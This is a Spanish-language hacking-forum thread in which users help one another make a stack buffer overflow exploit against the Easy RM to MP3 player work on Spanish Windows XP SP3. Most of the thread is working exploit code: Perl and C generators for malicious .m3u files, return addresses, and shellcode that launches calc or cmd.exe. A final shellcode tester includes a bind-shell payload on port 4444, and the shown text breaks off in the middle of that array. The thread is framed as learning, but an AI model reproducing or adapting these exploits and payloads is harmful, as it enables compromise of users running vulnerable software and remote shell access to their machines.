elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 11:20  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Problema para explotar buffer overflow en Windows XP
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Problema para explotar buffer overflow en Windows XP  (Leído 4,025 veces)
Belial & Grimoire


Desconectado Desconectado

Mensajes: 314


Tea_Madhatter


Ver Perfil
Problema para explotar buffer overflow en Windows XP
« en: 30 Octubre 2009, 02:34 »

hola

estuve estudiando un ejemplo de esta pagina http://www.corelan.be:8800

todo iba bien hasta que kise hacer un ejemplo pero ya no me funciono... miren

Código
#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";
 
my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a);  #jmp esp from MSRMCcodec02.dll
 
my $shellcode = "\x90" x 25;
 
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
 
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/

En esa pagina esta todo documentado y esta el programa que se va a explotar se llama Easy Rm to MP3

el problema que tengo es que no logro hacer que se ejecute la calculadora

ya cambie el EIP porke aki se uso en Win Xp Sp3 en ingles y yo lo tengo en español.. ya lo modifique pero no me funciona..

esto me aparecio con findjmp2

Citar
Scanning MSRMCcodec02.dll for co
0x10021D88      push esp - ret
0x1004CD65      push esp - ret
0x1004CF2F      push esp - ret
0x1004CF44      push esp - ret
0x10093F0F      call esp
0x100ABB3E      push esp - ret
0x100ABB51      push esp - ret
0x100E2ABA      push esp - ret
0x100FF6B4      push esp - ret
0x100FF6CB      push esp - ret
0x101592AA      push esp - ret
0x101BF23A      jmp esp
0x101F023F      jmp esp
0x1020D3DB      jmp esp
0x10225A40      push esp - ret
0x1022B22A      jmp esp
0x1022B72D      jmp esp
0x1022CD89      jmp esp
0x10235C9E      jmp esp
0x1023D8D3      call esp
0x1023DAA7      push esp - ret
0x102403D9      jmp esp
0x10241400      jmp esp
0x10245EDB      push esp - ret
0x1024736D      jmp esp
0x1024B0A7      call esp
0x1024CE34      jmp esp
0x10250159      jmp esp
0x10252EC0      jmp esp
0x102549C7      push esp - ret
0x102572B3      call esp
0x10263406      push esp - ret
0x10264526      push esp - ret
0x1026452E      push esp - ret
0x10264B26      push esp - ret

no se si tengo que probar con todos pero lo intente con este

Citar
0x101BF23A      jmp esp

pero no me funciona, tambien intente modificar el Junk pero tampoco

alguien me podria ayudar a executar esto bien porfavor?

gracias
En línea

.                                 
Belial & Grimoire


Desconectado Desconectado

Mensajes: 314


Tea_Madhatter


Ver Perfil
Re: Problema para explotar buffer overflow en Windows XP
« Respuesta #1 en: 30 Octubre 2009, 18:06 »

hola

modifique el junk y con windbg me aparecio que tenia que utilizar 26061 para que EIP entrara en los ultimos 4 bytes que se necesitan para provocar el crash en el programa, intente con ese numero y con 26094 y con 26091 pero tampoco...

tambien ya modifique esto

Código
my $eip = pack('V',0x01ccf23a);  #jmp esp from MSRMCcodec02.dll

lo modifique de esta manera utilizando la dll que dice alli, y con kernel32.dll y con ninguno me funciono... por cierto con los dos intente con jmp y con call

Código
my $eip = "\x3A\xF2\x1B\x10";

y no se que mas podria estar mal...

alguien sabe?

miren este pequeño ejemplo y pues BBBB que seria 42424242 me da exacto en EIP, lo que no entiendo es porque no puedo abrir la calculadora como se supone pasaria en el primer ejemplo, sera que algo anda mal con la shellcode?

tambien tengo que decir que modifique una vez mas junk para que me saliera exacto EIP, lo modifique a 26056

Código
my $file= "eipcrash.m3u";
my $junk= "\x41" x 26056;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";

salu2  ;D
« Última modificación: 31 Octubre 2009, 16:29 por Belial & Grimoire » En línea

.                                 
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Problema para explotar buffer overflow en Windows XP
« Respuesta #2 en: 31 Octubre 2009, 08:45 »

al menos crashea el programa?

deja el EIP en 0x0000000 y ya ves si te sale el error.. si nisiquiera puedes genera el overflow el problema no es el EIP, sino que simplemente no se esta explotando el bof..

saludos
En línea

₡ǾИ₣ℓعψ

Desconectado Desconectado

Mensajes: 20


"Sσвяε Lα Ezρεяαиzα Y Sσвяε Lα Fυεяzα"


Ver Perfil WWW
Re: Problema para explotar buffer overflow en Windows XP
« Respuesta #3 en: 31 Octubre 2009, 11:54 »

mmm... deberian de haber alguno o mas defectos.. te sugeriria que analizaras bien y pondrias mas programación

saludos 8) ;D
En línea

¡¡¡ UnA NuEvA ReVoLuCióN !!!
Belial & Grimoire


Desconectado Desconectado

Mensajes: 314


Tea_Madhatter


Ver Perfil
Re: Problema para explotar buffer overflow en Windows XP
« Respuesta #4 en: 31 Octubre 2009, 16:49 »

hola

gracias por responder

pues si hace crash... miren

Código
my $file= "eipcrash.m3u";
my $junk= "\x41" x 26056;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";

      

y asi tengo el siguiente codigo y me aparece esto...

Código
my $file= "exploitrmtomp3.m3u";
 
my $junk= "\x41" x 26056;
my $eip = "\x3A\xF2\x1B\x10";
 
my $shellcode = "\x90" x 25;
 
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
 
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

      


si dejo la EIP en 0, me di cuenta que si necesito usar 26094 para provocar el overflow, pero al igual solo me aparece esto y nada mas

la Eip le puse con ceros y con jmp y call para ver si con alguna de esas 3 me funcionaba pero no pasa nada, mas que el mensaje de error

Código:
my $eip = pack('V',0x101BF23A);
my $eip = pack('V',0x10093F0F);
my $eip = pack('V',0x00000000);

« Última modificación: 31 Octubre 2009, 17:01 por Belial & Grimoire » En línea

.                                 
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Problema para explotar buffer overflow en Windows XP
« Respuesta #5 en: 1 Noviembre 2009, 05:36 »

haz que crashee con el programa en ollydbg.. y ense;anos el estado de los registros y de la memoria, y etc.
En línea

Belial & Grimoire


Desconectado Desconectado

Mensajes: 314


Tea_Madhatter


Ver Perfil
Re: Problema para explotar buffer overflow en Windows XP
« Respuesta #6 en: 4 Noviembre 2009, 08:23 »

perdon la tardanza...

Código
my $file = "crash.m3u";
my $junk = "\x41" x 26094;
open ($FILE, ">$file");
print $FILE $junk . $jun;
close ($FILE);
print "m3u File created sucessfully \n";

http://www.subirimagenes.com/otros-crash1-3503281.html

Código
my $file= "eipcrash.m3u";
my $junk= "\x41" x 26056;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";

http://www.subirimagenes.com/otros-crash2-3503289.html

Código
my $file= "eipcrash.m3u";
my $junk= "\x41" x 26094;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";

http://www.subirimagenes.com/otros-crash3-3503291.html

Código
my $file= "exploitrmtomp3.m3u";
 
my $junk= "\x41" x 26094;
my $eip = pack('V',0x101BF23A);
 
my $shellcode = "\x90" x 25;
 
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
 
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

http://www.subirimagenes.com/otros-crash4-3503307.html

Código
my $file= "exploitrmtomp3.m3u";
 
my $junk= "\x41" x 26056;
my $eip = pack('V',0x101BF23A);
 
my $shellcode = "\x90" x 25;
 
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
 
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

http://www.subirimagenes.com/otros-crash5-3503321.html

En línea

.                                 
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Problema para explotar buffer overflow en Windows XP
« Respuesta #7 en: 4 Noviembre 2009, 10:55 »

crash5 parece que si reescribe EIP al valor que quieres...

que error sale cuando pones EIP con x41x41x41x41? si sale el mismo debe ser el canary.. checa https://www.securinfos.info/english/security-whitepapers-hacking-tutorials/stack_overflow_win_XP_sp2.pdf

Saludos!!
En línea

Belial & Grimoire


Desconectado Desconectado

Mensajes: 314


Tea_Madhatter


Ver Perfil
Re: Problema para explotar buffer overflow en Windows XP
« Respuesta #8 en: 5 Noviembre 2009, 06:37 »

hola gracias, pero firefox no me deja leer el pdf diciendome que la conexion no es segura... alguien lo tiene para descargar?...
En línea

.                                 
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Problema para explotar buffer overflow en Windows XP
« Respuesta #9 en: 5 Noviembre 2009, 06:59 »

trata quitandole la s al link..
http://www.securinfos.info/english/security-whitepapers-hacking-tutorials/stack_overflow_win_XP_sp2.pdf
En línea

MrPoor

Desconectado Desconectado

Mensajes: 15


Ver Perfil WWW
Re: Problema para explotar buffer overflow en Windows XP
« Respuesta #10 en: 5 Noviembre 2009, 14:29 »

Hola, soy nuevo por aquí un saludo.

Yo estuve trasteando con el mismo tutorial de Corelan, pero en lugar de hacerlo con sus herramientas lo hice con las mías, y OllyDBG.

Verás,

La dirección my $eip = pack('V',0x101BF23A); esa nunca me funcionó, y es una pena, porque creo que lo haría multiplataforma.

Te dejo  dos ficheros .c para que los estudies.

junk-generator.c simplemente genera basura en forma de caracteres únicos, de forma que podamos saber exáctamente que bytes sobreescribieron la pila. Es lo que hace el autor del artículo con metaexploit, aunque yo lo veo más fácil de esta manera.

Una vez que los encuentres lo sustituyes por una dirección de memoria de algún jmp esp o call esp. Yo la encontré en kernel32.dll, otras no funcionaban, no sé porqué.

El EasyRMPxploit.c genera el archivo explotable, cuya salida tendrás que redireccionar hacia el archivo que quieras, davidbisbal.ram, shakira.m3u, etc. La extensión mientras se válida para el EasyRMP da igual, funciona con todas.


EasyRMPxploit.c
Tiene dos payloads, uno es un cmd.exe y otro el calc.exe.

Sistema operativo de prueba: Windows SP 3 Español.

Cualquier cosa me dices, estoy siguiendo este hilo.

Saludos.

Código:
/*
  POC
  EasyRMPxploit.c
  MrPoor akelarregh@gmail.com
  5/11/2009
 
  Lets' go:
  1. First, use junk to generate a file with uniques strings so you
  cand find the exact string that overwrite the ip.
 
  gcc -o junk junk.c
  junk > exploit-0.1.m3u

  2. Open EasyRM exploit-0.1.m3u with Ollydbg
  and see what number of the junk file that is overwriting the EIP register.
  The number is in HEX of course, so yo can open the exploit-0.1.m3u
  with an hex editor or with a notepad and search for the decimal equivalent.

  To find the numbers of bytes of A'es do wc exploit-01.m3u to find the bytes
  if you have Cygwin (or Linux). Other ways are right click, propiertys and see
  the size in bytes in windows.
 
  3. Modify the for and compile the exploit.
  Compiling the exploit (Compiled wid Dev-C++ 4.9.9.2
  gcc -o easyRMPxploit EasyRMPxploit.c
 
  Examples:
  exploit >> davidvisbal.m3u
  exploit >> shakira.ram
 
  The exploit add 4 bytes more for alignment the shellcode in the begining
  of the ESP register.

  Open davidvisbal.m3u with EasyRM and enjoy

  Profit!
  MrPoor
 
  November 3, 2009. Spain.

*/
#include <stdio.h>
#define JUNK 35015

int main (void){
   
    int i=1;
    char a='A';
   
    // Generating A'es for fill
    for (i;i<=JUNK;i++){
      printf ("%c", a);   
    }
   
     // POC. Windows Calc Windows XP SP3 in spanish.
     char shellcode [] =
     "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
     "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
     "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
     "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
     "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
     "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
     "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
     "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
     "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
     "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
     "\x7f\xe8\x7b\xca";

    // POC. Cmd Shell for Windows XP SP3 in spanish.
    char shellcode2[] =
     "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
     "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
     "\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45"
     "\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
     "\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3"; 

     // Call esp 0x7c736a08 en kernel32.dll (finjmp). (Windows XP SP3 Spanish)
     printf ("\x08\x6a\x83\x7c\x41\x41\x41\x41"); // This works ok.
     
     // jmp esp                             (findjmp)
     //printf ("\x3A\xF2\x1B\x10\x41\x41\x41\x41"); // This don't work. I don't know why
     
     printf ("%s", shellcode);   
}


junk-generator.c Solo genera basura para encontrar los bytes que sobreescriben el RET IP.

Código:
#include <stdio.h>

int main (void){
    int i=0;
    int max=10000;
   
    for (i;i<=max;i++){
       printf ("%X", i);   
    }   
}

En línea

Mpoor es super guay te o juro
<script&#62
Belial & Grimoire


Desconectado Desconectado

Mensajes: 314


Tea_Madhatter


Ver Perfil
Re: Problema para explotar buffer overflow en Windows XP
« Respuesta #11 en: 6 Noviembre 2009, 02:58 »

hola

sirdarckcat, gracias, ya descargue el pdf para leerlo..  ;D

MrPoor, gracias

ya hice todo lo que me mencionaste y es cierto... esa manera que pusiste es mucho mas sencilla y sin necesidad de instalar cosas extras... ahora, el exploit si logre hacerlo funcionar lo unico que tuve que cambiar fue junk

Código
#include <stdio.h>
#define JUNK 35013
 
int main (void){
 
   int i=1;
   char a='A';
 
   // Generating A'es for fill
   for (i;i<=JUNK;i++){
     printf ("%c", a);
   }
 
    // POC. Windows Calc Windows XP SP3 in spanish.
    char shellcode [] =
    "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
    "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
    "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
    "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
    "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
    "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
    "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
    "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
    "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
    "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
    "\x7f\xe8\x7b\xca";
 
   // POC. Cmd Shell for Windows XP SP3 in spanish.
   char shellcode2[] =
    "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC"
    "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45"
    "\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45"
    "\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45"
    "\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";
 
    // Call esp 0x7c736a08 en kernel32.dll (finjmp). (Windows XP SP3 Spanish)
    printf ("\x08\x6a\x83\x7c\x41\x41\x41\x41"); // This works ok.
 
    // jmp esp                             (findjmp)
    //printf ("\x3A\xF2\x1B\x10\x41\x41\x41\x41"); // This don't work. I don't know why
 
    printf ("%s", shellcode);
}
 

y pues se ejecuto la calculadora, pero cmd no se ejecuto...

ahora, tengo una pregunta... espero puedas decirme...
con los payloads, como se que el primero ejecuta la calculadora y el segundo cmd?...

y que significan esos hexadecimales, y como trabajan para abrir por ejemplo la calc... y acaso es muy dificil de hacer eso?

espero puedas decirme, por lo mientras intentare ver si puedo hacer funcionar el codigo de perl... y gracias

salu2  ;D

-EDITADO

ya intente cambiar el registro que se genera en C en el archivo creado en perl y no funciono... posiblemente el fallo esta en el compilador de perl, talvez deberia hacerlo con linux... solo que ahorita no lo tengo en esta compu, pero una vez me paso algo asi con VisualC++ y Dev...

tambien ya vi que si funcionan las dos shellcodes, solo que no me habia fijado que no cambie en printf... shellcode por shellcode2, ya lo hice y funcionaron muy bien
« Última modificación: 6 Noviembre 2009, 06:07 por Belial & Grimoire » En línea

.                                 
MrPoor

Desconectado Desconectado

Mensajes: 15


Ver Perfil WWW
Re: Problema para explotar buffer overflow en Windows XP
« Respuesta #12 en: 6 Noviembre 2009, 09:41 »

hola

sirdarckcat, gracias, ya descargue el pdf para leerlo..  ;D

MrPoor, gracias

No hay de que.

Citar
y que significan esos hexadecimales, y como trabajan para abrir por ejemplo la calc... y acaso es muy dificil de hacer eso?

Los hexadecimales no son otra cosa que la representación en hexadecimal de las instrucciones para hacer el shellcode en lenguaje ensamblador.

Te explico:

Si sabes algo de C, sabrás que hay una función que se llama Exit.
Exit recibe parámetros, normalmente 0 si todo ha ido bien (esto por convención entre los programadores), -1 si algo a ha ido mal.

La llamada a exit puede ser así:
#include <stdio.h>

int main (void)
  exit (0);
}

Lo único que hace es : salir y devolver 0 al programa que lo ha llamado, generalmente una shell de comandos.

Pero eso es lenguage C.

Un exploit funciona inyectando lenguaje esamblador, ya que con quien habla el exploit es con el procesador, no con un compilador en C.

Bien, el lenguaje C, en realidad lo que hace es convertir el código C a lenguaje ensamblador.

En windows la llamada a C es traducida como ves en la siguiente imagen del Olly:



Puedes verlo tu mismo compilando el código y abriéndole con el Olly, tendrás que bajar en la ventana de desensamblado hasta llegar a la función exit.

Al lado de la columna dirección verás los famosos HEX por los que preguntas, y a la derecha de estos las instrucciones en ensamblador.

Cuando se hace una shellcode se cogen esos hex y se ponen en una cadena, pero el proceso no es tan sencillo como ir poniendo los hex y listo.

Por ejemplo no puede haber bytes nulos 0x00, porque representarían el final de la cadena (nuestro buffer) así que cada byte nulo hay que sustituirlo por una instrucción equivalente.

Te pego un código en ASM (bajo LINUX ¡ojo!) de la función exit, extraído de The ShellCode HandBook 2nd Edition:

Código:
08048080 <.text>:
8048080: bb 00 00 00 00 mov $0x0,%ebx
8048085: b8 01 00 00 00 mov $0x1,%eax
804808a: cd 80 int $0x80

Si te fijas en los bytes de las dos primeras instrucciones tenemos bytes nulos (00 00 00 00) que es la representación del 0 en 32 bits (DWORD).

Como no pueden haber bytes nulos, el código se sustituye por una instrucción equivalente:

el código anterior se traduce en:

Código:
08048080 <.text>:
8048080: 31 db xor %ebx,%ebx
8048085: b0 01 mov $0x1,%al
804808a: cd 80 int $0x80

Como pues ver, ahora en xor ebx, ebx no hay bytes nulos.

Lo que han hecho para por ejemplo la de la calculadora, es :

Hacer un programa en C que lance la calculadora.
Probarlo
Desemsamblarlo, con Ollydbg, o cualquier otro.
Adecuar los bytes no válidos por bytes válidos. (nulos, no sé si caracteres de control).
Eliminar direcciones hardcodeadas
Compilar el nuevo programa con las nuevas instrucciones ahora válidas.
Probarlo
Desemsamblarlo y ahora hacer la shellcode poniendo los bytes en un array en C.

La cuestión está que para aprender a hacer una shellcode hay que saber ensamblador el procesador que queramos explotar y saber como funcionan las llamadas al sistema del sistema operativo en cuestión, escoger un esamblador (que puede trabajar en formato Intel(generalmente Windows) o formato AT&T(generalmente linux).

¿Difícil? Si no se sabe ensamblador sí, yo me veo ahora mismo incapaz de hacer una shellcode sin un tutorial al lado.

Pero shellcodes hay muchísimas, yo solo tengo unas pocas para Windows, pero si buscas en libros en pdf serios tendrás muchas shellcodes legítimas (porque pueden ser fakes).

En realidad, mis shellcodes son todos descargados de fuentes confiables. Las pruebo con un probador de shellcodes y listo.

Te dejo el probador de shellcodes con varias shellcodes:

Código:
/**
 * Este programa prueba las distintas shellcodes
 * y verifica su funcionamiento.
 */

#include <stdio.h>

int main (void){
    char shellcode1[] =
        "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\x61\xd9"\
"\xe7\x77\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x32"\
"\xb3\xe7\x77\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x03\x31\xd2\x52\x51"\
"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xfd\x98\xe7\x77\xff\xd0\xe8\xc4\xff"\
"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"\
"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"\
"\xff\x48\x65\x79\x4e";

     // POC. Windows Calc Windows XP SP3 in spanish. Funciona ok.
     char shellcode2 [] =
     "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
     "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
     "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
     "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
     "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
     "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
     "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
     "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
     "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
     "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
     "\x7f\xe8\x7b\xca";

  // cmd.exe
  char shellcode3[]=
    "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
    "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
    "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
    "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
    "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
    "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
    "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
    "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
    "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
    "\x7f\xe8\x7b\xca";

    // Bind shell code shell code on port 4444
    // nc ip.ip.ip.ip 44444. Funciona correctamente.
char shellcode4[] =
"\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
    "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
    "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
    "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
    "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
    "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
